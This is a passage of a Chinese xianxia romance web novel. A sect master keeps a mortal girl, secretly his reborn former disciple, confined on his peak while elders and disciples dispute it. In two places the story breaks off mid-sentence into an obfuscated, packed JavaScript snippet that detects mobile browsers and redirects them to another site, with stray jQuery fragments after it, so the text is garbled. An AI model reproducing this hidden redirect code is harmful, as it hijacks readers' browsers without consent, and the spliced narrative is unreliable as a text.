未尽意味让所有人都不由得心颤。 祁寻和符骄的瞳孔一缩,想说什么然而一个字都吐不出,只能看着那个一直毫无声响的船内微微一动,几根苍白纤细的手指撑在门上。 傅灵在仙舟里默等半晌,听见声音就如同寒冰坠入肺腑——终于来了。 她深吸一口气,缓慢掀开船帘,对上李青尘一双寒如深渊的眼,下意识心虚地垂眸。 又转而一想,自己并没有答应他守着别缘峰不出,她为何心虚? 说是欺骗…… 她倏然想到上辈子在石碑前对方的回答: “好,那我们就做一辈子永不欺骗、永远依赖的……师徒。” 长风猎猎,流云几乎模糊了她的眼,她踉跄地从仙舟上下来,身前是百年后的剑宗宗主,身后是断裂的石碑。 上辈子她食言了,她骗他自己是普通的修士,骗他对他的灭门之仇一无所知……也许说谎要受反噬,所以上辈子还一条命不够,这辈子她又把自己送上了门。 傅灵笑了一下,她跪在祁寻两人身边,什么都没说。 郭昆怒急,“果然是这凡女,你们两个,是真的被下了蛊不成?!” 符骄急急说道:“郭师叔,救凌姑娘是我一人的意思,和她无关!她一个凡人,被师父关在山上不闻不问,还受了伤……弟子怎能见死不救?!” 所有人的视线都落在傅灵的身上,她衣着整洁,但腿上的伤早就在逃跑的时候挣出血来。 郭昆也难得抿了一下唇,又看傅灵微低着头,穿着剑宗的弟子服,暮色落在她的脸上,恍然间和一个笑意莹莹的身影重合…… 他被自己的想法吓了一跳,还想再质问,倏然想到这两位的师父还在这里,不由得看向李青尘。 这一看,却是心脏一顿。向来喜怒不形于色的宗主此时却微垂眸,一动不动地将视线落在那个凡女身上。 身上气息混沌冰寒,像是陷入某种幻境中难以自拔。 “宗主、宗主?” 李青尘闭了一下眼,他抿着唇将所有的情绪都收束,看向跪拜在地的三人: “别缘峰的禁制乃是补灵法阵,除了与我同阶修士,只有百年前的截气阵方能打开。我很好奇,你们两个,到底是如何破开?” 傅灵的脑海里轰然一声,她用极大的忍耐力才让自己没去看李青尘的神色。 她本以为自己这次能逃离剑宗,所以并未多做掩饰。但没想到没有亲自出手也会让李青尘察觉不对。 知道截气阵的修士寥寥无几,更何况是百年的。如果被李青尘知道是她…… 她想到那个莫名消失洞府,想到还在散发寒气的缚仙台。终于知道自己为何会找不到剩下的残魂。恐怕只要在剑宗一出现就会被李青尘抹除得干干净净…… 符骄也是一愣,祁寻微微侧目,见傅灵虽面色平静,但指尖早已在地面扣出鲜血,他的眸光闪了闪。 “到底,是谁?” 李青尘又缓缓问了一遍,傅灵只觉得对方的视线已经落在了她的脊背上。 李青尘是符骄祁寻的师父,对二人的实力一清二楚。 唯一有嫌疑的就是她了。 她咽下喉咙里的腥气,竭力保证自己的呼吸正常,但指尖已经用力到发白,满脑子只有一个想法:不能让李青尘认出她,不能让李青尘认出她! “师父,是我……” “是我,师父!”符骄道:“我、我胡乱解的,哪知道会误打误撞解开禁制!” 傅灵一怔,正要说话,倏然符骄的胸口一阵嗡鸣,剑宗深处急射而来三人,为首之人褐光环绕,势若地龙。 转瞬来到天门前,单袖一甩,割月刃立刻来到此人手里。 “拜见宗主。庄某正在打坐,察觉到殿内法宝失窃,特来寻回。” 傅灵看到此人额发微白,右手长袖猎猎——赫然是空的。 她的心脏一顿。 “庄师叔!”符骄面色红白,“弟子失礼……情急之下借用师叔的法宝,还请恕罪。” 庄天成自从回了剑宗后一直闭关不出,对宗内一事毫不关心。他随意扫过众人,对上傅灵雾蒙蒙的双眼,只顿了一瞬就移开视线。 “原来是割月刃,怪不得能破开禁制。”李青尘的声音不辨喜怒,“我的弟子让庄长老劳心了。” 傅灵垂下长睫,不动声色地松了一口气。 庄天成不语,拱手就要离去。但随后裘双双和秦钟两人前来,裘双双扫视一眼,视线落在那个凡女身上,眸色复杂。 庄天成立刻察觉到了微妙,脚步一停。 李青尘重新将视线落在三人身上,沉声道: “你们两个公然违抗宗规……” 傅灵闭了闭眼,暗道够了。祁寻和符骄两人为她付出够多了。本想借二人之手回到剑宗,却没想到一错再错。 “宗主。” 她缓缓抬头,终于出声,“他们二人被关执法堂,并不知您的命令,还请宗主手下留情。此事因我而起……是我引诱二人与我定情,也是我暗示二人带我离开。一切的原由是我贪慕仙人之姿,妄图加入仙门。被宗主识破之后,还想一逃了之……” 她徐徐一拜,额头抵在冰冷的地砖上,“我愿领受所有惩罚……即便是去洗灵池,也绝无二话。” “凌姑娘?!” “凌七!” 霎时间,整个天门鸦雀无声,李青尘的视线沉甸甸地落在她xian弯下的脖颈,声音缓慢吐出: “你要为了他们进洗灵池?” 傅灵深吸一口气,莫说去洗灵池,就算是重新去缚仙台她也愿意……总比回李青尘的洞府待在他的身边好。 她点头,“是。” 李青尘又笑了一声,只是轻轻的气声便让人心觉发凉。 “宗规不可违,剑宗弟子怎能躲在凡人后面。既然如此,他们二人便去……” “宗主师兄!” 裘双双倏然上前,嘶声道:“宗主口谕毕竟不同于宗规,当初……您能对庄师兄网开一面,为何今日却要对两个弟子如此心狠呢?” 庄天成眉心的纹路一动,他下意识地看向自己的右臂,掺白的发丝随风飘荡。 当初,是因为有那个人在啊…… 傅灵闭着眼,想到前世的过往种种,暗道裘双双不该在此刻提到那事。那是第一次李青尘改了主意,如今想起来恐怕会更迁怒祁寻两人吧…… 周围一片死寂,她捏紧指尖垂眸,倏然感觉一道视线落在身上,一抬眼却看李青尘看着暮色,橙红与昏暗在他的眼底交织,像极了秘境里沾染上的血…… 在秘境的最后一天,她和李青尘找到了躲起来的庄天成。 庄天成刚对毫发无伤的二人感到震惊,就被李青尘布下的阵法打得奄奄一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837413|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 息。 裘双双赶紧拦着,问这其中有什么误会。 傅灵指着肩膀气愤地向裘双双告状:“裘师伯,你是不知道庄天成有多过分,竟然用蜂粉暗算我们,幸亏我师尊英明神武,才逃过一劫!但你看看,我师尊也差点受伤了,这脸上这袖子上都是血……” 裘双双不可置信。事已至此,庄天成却没什么好装的了,他吐出一口血,意味深长地问: “我承认你保命的手段有很多,但能从灵兽宗的弟子手下活着出来,那肯定就不是筑境初期弟子的实力,难不成你是……” “没错!”傅灵倏然上前一步,一脸严肃,“我师尊虽然修为平平,但他的储物袋里藏着一个化境修为的老爷爷,只要你一对他出手就会遭到报复!庄天成,你算计同门的时候就没有人告诉过你什么是莫欺少年穷吗!?” 李青尘:“……” 庄天成冷笑一声,袖口背在身后蓝光微现,赫然是断灵截气的割月刃。 李青尘将傅灵拉到身后,道:“庄师兄,我与人从不结怨,但若此人危及我的性命,我也是非杀不可的。得罪了。” 他正要唤出长剑,裘双双却挡在庄天成的面前。说此事是因她而起,且她家和庄家是世交,愿以重礼换庄天成一命。 傅灵深吸一口气,“这关你什么事?我看是庄天成对你死缠烂打。他若是真心喜欢你,必然会投其所好、再三维护,而不是将矛头对准其他人。他自诩样样高于我师尊,在我看来如此无情低劣的人,自然是比都不配比的!” 庄天成的脸恼怒地一红,裘双双也是一怔。 李青尘唤剑而出,剑身金光乍现,他一手执剑,正对庄天成的咽喉。 庄天成大惊失色,正要求饶时,倏然听到傅灵咳了一声。 剑尖一停,李青尘看向她。傅灵的脸颊有些红,她暗道自己也不想犯什么圣父病,但还是忍不住背过身。 “我、我先去入口处等着……” 她知道原著里李青尘杀了不少人,也不差这一个。但庄天成毕竟是在她面前蹦跶了几个月的“大活人”,若是眼睁睁地看着对方死在眼前,她总觉得有些不对…… 李青尘看着她的背影,瞳孔若秋风点水微动。 他收回长剑,对庄天成道:“看在同门的面子上,我可以暂时不杀你。但你要完成我两个要求。” “……” 庄天成空荡荡的袖子飘在傅灵的眼前——这就是第一个要求。 至于第二个…… 庄天成缓缓走到人前,靠近那个凡女时倏然察觉到一点异样,仿佛灵魂中的某种禁制被触动。 他只当是自己多想,在秘境里他答应了李青尘两个要求,一是断臂,二是灵魂被刻下印记,永不能伤害那个人。 如今右臂无存,那个印记的主人……早已不在了。 他垂眸道:“宗主,庄某当年自不量力,还是宗主网开一面才留得姓名。只有刻苦修炼、诛尽邪修方能报得一二。如今法器已寻回,还请宗主放我等闭关修炼。” 李青尘点头,裘双双和一直沉默的秦钟却没离开,裘双双对庄天成的“避之不及”叹息。 她也明白,当初庄天成能留下一命,并非是李青尘心软,而是因为……对那人的心软不忍。 正因为被如此维护过,便也想维护对方。 傅灵看向李青尘,只觉得万般借口和方法都在对方的冰冷下毫无用处,只能疲惫而又绝望地问:“宗主,真的不能放了他们吗?” 李青尘看着她雾蒙蒙的眼,半晌,缓缓抬起手。 祁寻两人只觉得身上的压力骤然一轻。 李青尘道:“念及你们不知口谕,又是初犯。可免去刑罚之苦,只是心经要抄写千遍,不可有误。” 符骄大喜过望,“多谢师父饶恕!那凌姑娘呢?” 一直绷着脸的秦钟沉声道:“你们还有心情担心旁人?她亲口承认诱你们出宗,是妖是魔……” “她是凡人。”李青尘倏然开口,对上傅灵骤然抬起的目光,“这几日我亲眼探查,凌七实乃凡人,没有任何嫌疑。” 祁寻忍不住勾起嘴角,大松了一口气,“多谢师父明察秋毫。既然查明凌姑娘是无辜的,那是不是就能放她回……” “她不能走。” 李青尘倏然斩钉截铁地吐出四个字。 霎时间,整个剑宗骤然一静,在傅灵疑惑而又惊讶的目光中,李青尘看着她,又强调一句: “她不能走。” 裘双双先是缓缓瞪大眼,紧接着她的视线在面色苍白的傅灵身上与面色平静的李青尘身上徘徊。 最后,倒吸一口凉气。 秦钟本来紧绷的脸也在意识到什么之后倏然裂开一道缝隙。 跪在地上的祁寻二人本来不明所以,直到看到李青尘的眼睛倏然明白了什么,整个人如遭雷击! 13.第十三章 整个剑宗安静诡异得可怕。 裘双双和秦钟三人坐在长老堂内,一时之间没人敢说话。 直到郭昆长叹一声,“我和宗主……相处的时间不多。你们二位怕是最为相熟……你们可知宗主如今到底是什么意思?” 秦钟坐在左侧,向来紧绷的神情此时竟然有一丝僵硬,但他的语气却是平缓的,“没有何意,只是在不有伤天和之下,让两个弟子死心罢了。” 郭昆欲言又止。 半晌道:“若是真如此,将那凡女送回人间,勒令祁寻二人再也不能靠近不是更好,何至于一而再、再而三地将人藏……困在自己的洞府里?” 那日,自从宗主说出“她不能走”那四个字后,他们这几个老家伙就像是被钟梃撞在了大脑上,不仅脑海内一阵嗡鸣,就连话都说不出来。 他们一时之间难以理解,一时之间又被自己的猜测吓得冷汗直流。 他们与宗主相识百余年,除了那个搅乱三界的女子出现时,何曾见过他的情绪如此外露? 明明表情一如往日云山雾罩让人看不清,但语气中的冷意和笃定却让人头皮发麻,仿佛只要他们置喙一句就会被万千剑气凌迟在此。 接着,所有的长老,所有的弟子只能眼睁睁地看着宗主长袖劫云,将那女子带回了别缘峰。 直到现在他们还有些回不过神,难道宗主他真是…… 秦钟的表情更不好看,郭昆越想越是胆战心惊:“再说自从宗主回来,对两个弟子毫不留情,却未动那女子一根发丝,更是破了我的灵力……若是宗主想手下留情,断不能厚此薄彼如此。之后更是将其带走,不允许任何人靠近……” 郭昆越说语气越快,“说到藏起来,宗主见到那女子的第一面就反常将其带走,当时我本以为宗主另有目的,难道是见到其第一面就起了别的心思?” “够了!”茶杯应声碎裂,秦钟一拍桌子,额上青筋直跳,“看你说的什么话,越说越不成样子!莫说李师兄是一宗之主,怎么会看上一个小小凡人,就算是……有所意动,又怎会抢夺两个弟子的心上人?这岂不是为老不、不……” 秦钟终是没将剩下的字讲完,郭昆有些为难,看向一直默不作声的裘双双。 “裘师姐……” 裘双双收回撑着额角的手,“此事莫要问我,我也什么都不知道。” 秦钟却是缓缓移动视线,“我可知,那女子刚到别缘峰不久,你就去看了她,但不知为何受了内伤,此后对此事只字不提……” 裘双双苦笑了一声,她捂住胸口,低声道:“宗主的心思一向难猜。自从百年前那日的结契大典之后……更是如冰莫测。我看不透他,也无法胡说。但我找来几人,你们二人就知道了……” 裘双双将给别缘峰送物品的小弟子找来,几个弟子面露难色,还是在秦钟的威压下才将这些时日的事情说了出来。 听到李青尘让几人准备衣物和温热的食物,无事不要打扰那女子,甚至连离宗时日也细细转述一事后,秦钟脸上的表情彻底维持不住了。 “原来从那女子在剑宗里出现的那一刻起,他就起了心思……” 秦钟一瞬间老了十岁,他抖着唇瘫坐在椅子上,“宗主师兄……这是何意啊,这是何意啊?!” 郭昆急得在地上团团转,“这可如何是好,这可如何是好!从百年前他不是一心向道、不近人情了吗?为何会对一个凡人女子倾心?这女子是仙人转世吗?!师徒三个都中了蛊一般不管不顾了!” 裘双双的眸光闪了闪,想到那双熟悉的眼睛。如果她猜得没错,宗主师兄还是放不下以前,甚至想找个人代替…… 她看了严肃的秦钟一眼,把话咽了下去。 “这样不行!”郭昆倏然停住脚步,“那日的事已经在宗门里沸沸扬扬,如若传了出去,被旁宗知道……你们二人随我去找宗主,我们劝他赶紧回头是岸!” 裘双双叹口气,正要婉拒,倏然外面传来弟子的通传。几人听到消息,面色一变。 剑宗正殿广场上,往日端正肃然的弟子们今日却神思不属,要么视线止不住地向别缘峰的方向飘,要么就双眼迷茫,直往师兄师姐的身上撞。 但更多的,是不自然地看向大殿前方。 裘双双飞到此地时,正看到两个身影直挺挺地跪在静心台上,来往的弟子无不注视这二人。 她倒吸一口凉气,随手设下隔音阵,“你们两个疯了不成?为何要跪在这里?!” 符骄猛然抬起头,眼底猩红,“早在师父将凌姑娘带走的时候我就已经疯了。既然师父不让我们靠近别缘峰,那我就跪在这里,让他看到我的决心,把凌七还回来!” 裘双双咬牙,“你在胡说八道什么,你们的师父只是、只是暂时将那女子收押而已,他都是为你们好!” “师父到底如何想的,师叔心知肚明。”祁寻低沉的声音响起,他不知道在这里跪了多久,面色苍白,但眼神坚定。 “他在看向凌七的时候,我就不信师叔看不出不对。那绝对不是一个看普通凡人的眼神!”祁寻的眼角愈发猩红,“重似千钧,神压外溢。神祇抵世、化凡入魔也不过如此。” “那都是你们的错觉……” “那他径直带走凌姑娘呢?!他一而再再而三地将她藏在洞府里不许我们靠近呢?师父恐怕已经起了和我们一样的心思……不,应该说是更早,在我们将凌姑娘带到他面前时,就已经开始了!” 裘双双的面色一变! “怪我!”符骄咬牙,“我当初就不该想着把她带回剑宗,我应该……把她藏在人界里。” “人算不如天算。”祁寻闭了闭眼,“毕竟当初谁也不知道,一宗之主有朝一日会强抢弟子的心上人……” 裘双双的神色几经变幻,最后叹息道,“那你们也不该跪在此地,让旁人看到该如何是好?有事私下商量,毕竟,他是你们的师父……” 符骄笑出了声,“他以探查为名将凌七藏起来的时候可有想过是我们的师父?将我们和她分开的时候可有想过自己是一宗之主?我和祁寻毫无办法,打又打不过、抢又抢不来,只能如此了……” 祁寻淡淡地道:“裘师叔,您和那些冷情的男师叔不一样,您肯定能理解我们两个。请师叔看在多年情分上,帮我们二人将凌七救出来。” 裘双双的唇瓣动了动,最后点头,“好,我试试。” 只是裘双双没想到,一连几日她和秦钟两人都没有能和李青尘说上话。即便处理宗门事物,对方也是结束就消散了身形,回到别缘峰闭关不见。连让秦钟开口的机会都没有。 “宗……” 眼睁睁看着对方在高坐之上消失,郭昆哑然,回头看向秦钟,“秦钟师兄,您看……” 秦钟没说话,裘双双叹息,“他这是铁了心了。现在不出面,不开口也只是给咱们几个留面子,若是真是撕破脸……咱们几个也是得不了好的。” “那便眼睁睁地看着他这样将人关起来,任流言甚嚣尘上!?你们看看,宗内的弟子都神色涣散多少日了。往日他定下宗规,一心向道,如今不仅违反宗规,还抢的是、是徒弟的人……这让弟子怎么看,让旁人怎么看?!” “恐怕早就传出去了。”裘双双苦笑,“祁寻、符骄跪地求师父放了心上人这种事……传得可比妖界的消息还快。只是碍于他的威压,无人敢置喙罢了。” 她想到百年前那场惊天的结契大典,三界之主抢一人的场面也是传遍了灵界。傅灵……你总说要当个低调的小修士,却没想过生前闯了那么大的祸,死后……连像你三分的女子也能掀了剑宗。 “这事没什么大不了的。”出乎众人意料的,前几日还焦急如火的秦钟这几日却愈发沉默,他垂眸看着自己枯瘦纤长的手指。 “宗主虽定下宗规,却并非不近人情,也只不过是对结契双方更加严格罢了,百年来结契的剑宗修士不在少数。他如今破例……也只不过是在宗主权责之内罢了。至于那两个弟子……我去说。” 祁寻和符骄两人依旧跪在静心台,两人以死相逼无人敢动。 此时乌云压境,凉雨顺着二人的脸颊滑了下来。符骄的肩膀倏然一暖,他下意识地抬起头,眸光一闪, “秦师叔?您怎么来了?” 秦钟的语气难得温和,“怎么,以为我是你们的裘师叔?” 符骄讪讪一笑,然后道:“您如果是为了让我们起来,就请回吧。师父都劝不了我们,更何况是您?” 秦钟有些意外,“你们的师父来过?” “他在别缘峰远远地看了我们一眼。”祁寻解释,“看到我们跪在这里,没有责骂,没有命令,也没有……漠视。师父好像放任我们如此,并不在意其他弟子说什么……” 秦钟远远地看了别缘峰一眼,清凉细雨中,那个杀气重重的山峰有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16840900|191223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一丝光亮,就这么一点光亮仿佛驱逐了所有的寒意,且恍惚中和百年前他离宗前的一瞥重合。 “那就是你们的师父已经下定决心了。他决定的事,没有人能更改……先不要反驳。你们入宗晚,恐怕无人敢对你们提起当年的事……” 他的视线开始变得虚无,看着自己的手,喉咙动了动。 “你们应该知道她叫傅灵,却不知道她就是你们师父的第一个弟子。在灵界,师徒定情堪比违反人伦,但那时无人看出你们师父的心思。反之,我爱上自己师父的事人尽皆知……” 秦钟闭上眼,仿佛回到百年前。他因为对自己的师父逐柳真人起了妄念而自惭形秽。 坐在静心台前,他唉声叹气。身旁一凉,有个小弟子一屁股坐在他旁边。 他一愣,认出了是李师弟的那个徒弟。 “师、师侄?”他犹豫地开口,“可是修炼上出了什么事?我虽学艺不精但也能为你解惑。” 傅灵捧着脸,面容白皙、指尖纤长,只有一双眼十分暗淡,“没什么,多谢师伯关心。我只是‘心累’罢了。” 秦钟:“?” 傅灵抹了把脸,“你呢师伯,怎么这么没精神?” 秦钟本来不想说,但看着傅灵晶亮亮的眼,还是含糊地说,“只是一些……师徒间的问题。” “你也是因为师徒的问题?!”傅灵就像是找到了同伴,拍着他的肩就开始倒苦水。她说自从从那个秘境里回来,一连好几个月李青尘对她的态度都格外地怪。 说是亲近,却除了偶尔一笑之外对她没有别的表情,说是疏离,却对她的修炼十分用心,每日检查她的修炼,比师祖还要严格。 秦钟有些疑惑,“这不就是……寻常的师徒吗?” 他的师父就是如此待他的。 傅灵一拍大腿,“对!这就是寻常的师徒啊!” 然后表情一僵,低下头小声嘀咕。什么“原来只是寻常的徒弟。”、什么“还以为他们是不一样的……”,表情既委屈又纠结。 他听不太清。想到自己和师父的事还没有解决,就不由得叹口气。 傅灵凑过来,问他到底有什么问题她可以分担。 徒弟爱上师父,这等事太过悚然听闻,他不敢说。但傅灵却恍然大悟一般,问,“是不是你朋友的事?你才不好意思说?我告诉我,我保证不告诉别人!” 秦钟愣了一下才明白对方的用意,他又感动又紧张地将自己,不,是“朋友”的事说了。 傅灵摸了摸下巴,然后道:“这也不算什么事啊,喜欢就告诉对方啊。” 秦钟大惊,“喜欢师、师父还不算大事?若是被宗主知道了是要被宗规惩罚的!” 傅灵很是无奈摇头,“修仙又不是断情绝爱了,要是连心上人都不敢追求成仙了还有什么意思?秦钟,我支持你……的朋友去追她!” 秦钟很是激动,“真的可以吗?” “先委婉点,不要给对方造成困扰。你朋友可以暗示一下嘛。” 然后他就暗示了他的师父,然后就被师父以违反宗规为由,踢出了宗门。 离别那天,他看着远处的别缘峰叹了口气。虽然失去剑宗弟子的身份,但好歹没受皮肉之苦,即便有些难过,想到没留遗憾就释然了。 只是傅灵看起来比他还要痛苦,五官都耷拉了下去。 送行的人很多,郭昆送给他一瓶丹药,断臂的庄天成没出来,拜托裘双双送他一些法器。 他和同门一一道别。 傅灵低着头,倏然唤出仙剑,“秦师伯,是我害你如此!我若是待在此地,实在无颜。我送你回家!” 秦钟一惊,连连摆手。傅灵去意已决,渐渐地更多人加入,裘双双要跟着,庄天成也出来了。一大群弟子要送他回家。 秦钟又惊又喜,傅灵回头看一直默然的李青尘,“师尊,你不随我来嘛?” 李青尘站在人群中央,和所有弟子同样的装束,但只有他的双眼平静似潭,此时被风扬起看不清楚。 “宗规在身,恕不能远送。秦师兄,保重。” 他的身形像是风一样消散,傅灵欲言又止,有些落寞地垂下长睫。 “宗规、宗规……” 她不知说了什么,最后长叹一声和所有人上了仙舟。 当时秦钟本以为这是一次欢乐的回乡之旅,却没想到会是他和傅灵的九死一生。 14.第十四章 回到家族后,父亲带着新结契的道侣招待所有弟子。 秦钟的母亲陨落多年,父亲在来讯时曾提近日遇到过一名修士,但并未有结契的意愿。如今看到两人琴瑟和鸣出来,他五味杂陈。 混着离宗的失落和被师父拒绝的难过,他呆愣地说不出话。 就在这个时候,傅灵倏然动了一下鼻子,说:“不对。” 这一声不对绷紧了众人的神经,这些颇有默契的宗门弟子们警戒起来。 接着就是一片混乱。 秦钟只记得自己当时浑浑噩噩的,看到父亲的那个新道侣被剑气逼出了妖相,尖叫一声就冲他扑来。 他躲闪不及被对方带走,混沌的视线里看到傅灵毫不犹豫地就追了过来。 那鼠妖甩着硕大的尾巴,在地面抽出一人宽的缝隙,勾着他的腰就要将他带走,千钧一发之际手臂一紧,是傅灵拉住了他的手。 “秦师伯,别怕,我抓住你了!” 秦钟的下半身陷入土里,只觉得自己快被撕成两半,巨大的恐慌和压抑的难过让他痛哭流涕: “我不想死我不想死啊傅灵!我还没有,我还没有让她看到我的真心啊!!” 傅灵的唇瓣都被咬出了血,指尖用力到发白,她的眼角也有些发红。 “都是我的错,都是我的错!如果不是我改变了剧情,也许你能平安活到百年后……” 他又听不懂傅灵说的话了,好在同门们都赶了过来。远远地庄天成单手唤剑,就要斩向鼠妖的手,傅灵一惊,大喊: “别轻举妄动!会伤到秦钟的!” 她让众人抓住她的身体,庄天成冷面:“这鼠妖力大无穷,这岂不是要把你也拽成两半?” 傅灵回头:“这个时候还考虑这些干什么,有这么多的同门在,难道我还信不过你们吗?!” 庄天成倏然一怔。 众人只得抓住傅灵的身体,傅灵让他攀住她的手臂,冒着脱臼的风险,指尖亮起画出一个小型法阵。 霎时间沙洞凝水,他坠落的速度减缓了些,藏在沙中的鼠妖竟然发出了窒息的痛吼。 “这只鼠妖的境界虽然堪比丹境修士,但她刚化形不久,妖力尚不稳定。秦钟师伯,你再坚持一会就能得救了!” 只是这只鼠妖为何要活捉他? 来不及想太多,就在他以为自己要获救的时候,一抬眼,远远地看到自己的爹走来。 对方对着他一笑,嘴角的皮肤裂开,露出一张狰狞的鼠面来。 “好儿子,将你的皮送给我,咱们父子团聚如何?” 秦钟:“!!!” 一瞬间,他就明白了一切。自己的爹已经遭了毒手了,傅灵嗅到的味道是他爹的尸臭,雌鼠是为了公鼠才要活捉他! 但那公鼠却伸出利爪向傅灵抓来,他大喊一声:“小心!” 一道破空之声极速靠近,鼠妖的笑意还在脸上,身体就如同麻袋般被一把长剑死死地钉在了墙上。 傅灵听见声音,还未回头便是弯眼一笑,“师尊?!” 只是下一秒,就在他被所有人拉上去的时候,身下的雌鼠突然嘶吼一声,就将傅灵拽了下去。 所有人都没反应过来,眼睁睁地看着那道缝隙即将消失。 “消、消失了?!快找啊!” “堪比丹境修士的速度,我们根本追不上!” 话音未落,远处剑气呼啸,剑光如坠星落雨从天而降,转瞬之间就将方圆十里封住,金光交织之下,所有灵力都被封得无法逃离。 秦钟一惊:“李、李师弟……” 李青尘若剑光落地,没有丝毫停顿。看到缝隙只剩一线,微抿的唇瓣一动。 他闭了闭眼,指尖在眉心一抹,霎时间就像是解开了什么封印一般,金光从眉心裂出,所有仙剑开始嗡鸣,他吐出一口气,面色白了一瞬。 紧接着,仙剑封住两侧,那个即将消失的缝隙竟如同被一只无形的大手一寸一寸地撕裂开来! 众人倒吸一口凉气,平时沉默低调的李师弟竟然会藏着这么大的力量?! 庄天成盯着李青尘的眉心,瞳孔闪烁。 如果他猜得没错,这就是对方一直隐藏的实力。只是没想到会在这个时候见识到……而且李青尘身上的气息不对,双灵根的修士两种力量相持,但是对方的金灵力却精纯无比,难道他不是双灵根,而是…… 此时的众人被惊得说不出话来,裘双双的眼睛还红着,“还愣着干什么,快挖啊!” 然而他们所有人挖了个遍,将鼠妖的尸体都挖出来了,却连傅灵的一片衣角都没有看到。 难道是被鼠妖吞了吗?还是被埋葬在更深的地下? 眼看缝隙还在不断扩大,李青尘仍没有收手的迹象。 郭昆小心地上前,“李师弟,也许傅姑娘已经被鼠妖的毒化掉了。莫要浪费灵力了,咱们还是回宗找长老吧……” 李青尘没说话,在剑阵的嗡鸣声中,所有人开始哽咽,庄天成也别过了头。 直到秦钟单膝跪地,“李师弟,是我不好!莫要坚持了,再这样下去,你会灵力枯竭的!” 李青尘道:“她没死。” 他突然开口,又看着那条缝隙,重复: “她不会死。” 秦钟一愣,他抬头看到李青尘的眼神,只觉得心头一沉。 对方的双眸十分平静,然而这种平静却让人不寒而栗,仿佛说傅灵没死不是一种自我安慰,而是一种不容置疑的真相。 那种藏在平静之后的执拗超出了他的想象,只觉得一种诡异的猜想在他的心中生根…… “鼠妖的腹中没有她的血肉,这附近也没有她的灵力残留,她定然是碰到了某种禁制。如果不将这里守住,她恐怕找不到回来的路。” 李青尘接着说,随着不断开启的唇瓣,还有一滴一滴地,鲜红的液体顺着对方的嘴角落在脚边。 秦钟心中复杂难言,他选择默认对方的“猜测”,低声道,“那就最好了……” 回眸,看到所有同门都红着眼眶默契地选择沉默,他的喉咙震颤。 “早知道我就不让她相送了……也许她还在宗门里好好的,你们也不必陪我冒险。我欠她一条命,如果她能回来,我可以付出所有……” “如果她回来……” 李青尘倏然动了一下瞳孔,他没继续说。一挥手,将所有人逼到剑阵之外。 “你们离开,此地留我一人足矣。告诉我师父,李青尘擅自离宗,归期不定。待找回傅灵后,自会请罪。” “谁也不知道宗主在那个时候下定了什么主意。但你们也知道……他们最终结契了,甚至还是以师徒的关系……” 秦钟收回在右手上的视线,闭眼长叹一声,“他认定了,即便等上十年也会做到。当年他只是剑宗不知名的弟子,就能让宗门为他让步。如今他已经是一宗之主。你们觉得你们能撼动他吗?” 符骄的面色惨白,祁寻却是眸光一动,“在那之后呢?那个女子……何时回来的?” “一个月后。当时的宗主真的独自在剑阵旁守了一个月,即便正阳真人亲自去请,他也未动一寸。果然等到了她回来。” 秦钟面露唏嘘,“也许当时的两个人真的有感应吧。但后来她身份暴露后,就有人猜测……” 他摆了摆手,不愿多说。 无论后来发生什么,那个时候他们都是最信任的同门。 傅灵回宗后,他办完了葬礼也回到了宗门。生死走过一遭,他师父既往不咎,装作从未听过他大逆不道的话。 他一边神伤一边又庆幸着。他后来问傅灵,她和她师尊的关系如何了? 其实有些话不必多问,当时李青尘守在剑阵时那种平静却似要吞噬一切的眼神已经说明了一切。 那哪里是一个师父对弟子的担心,那是对即将失去一切的隐隐的疯狂。 傅灵当时捧着脸,笑嘻嘻地扭头,“你猜?” 此时云销雨霁,远处的裘双双投来视线。两个剑宗宗主最得意的弟子悄然离开了静心台。 秦钟只当两个人是想开了,却不知两个人暗自下定决心。当年宗主能等上近十年,他们现在也同样年轻,就算是等上二十年又如何? ———— 傅灵缩在床角,在朦胧的视线中看到李青尘修长的身影停留在书桌前。 ——以前他翻看古籍的时候,她能安静地在石桌旁看上半天。如今她离他最远,不敢多看一眼。 她怕对方想起什么。 自从被对方从剑宗大门带回别缘峰后,她就一直战战兢兢。 虽然李青尘放了祁寻和符骄一马,但他却并没有放过她。不仅将她又关进别缘峰里,还一连几日亲自看管她。 除了处理宗门事务和晚上休息的时候,对方都在书桌前坐着。 她不觉得自己现在的这个凡人的身份有任何值得对方利用的地方。 思来想去只有一种可能——对方更怀疑她了。 她就知道以李青尘的谨慎,不可能轻易地相信符骄两人破开禁制的借口。如今唯一有嫌疑的人就是她。 当年谁都知道剑宗的傅灵擅长使用阵法,对方只是碍于她凡人的身份一时找不到证据罢了。 她咬紧牙关,一刻也不敢放松。只是凡人的身体到底比不得修士,她绷着绷着就忍不住在床上睡了过去。 醒来的时候,感到所有玉石荧辉变暗,只有书桌前遥遥一点光亮。 李青尘垂眸看着古籍,茶水的热气氤氲了他的眉眼。他不时用笔批注。在叶脉舒展的声音中,偶尔夹杂着沙沙声。 傅灵恍惚了一瞬,不知今夕是何夕。 她缓缓坐起来,恪守瞎子本分,装作看不到。 听到李青尘道:“你的食物放在了桌子上。凡人如果不吃饭,不出七日便会气竭。” 傅灵也装作听不见,她第一次感谢自己又聋又瞎。 李青尘的手腕一停,微微抬眼。 “祁寻和符骄跪在了大殿上。” 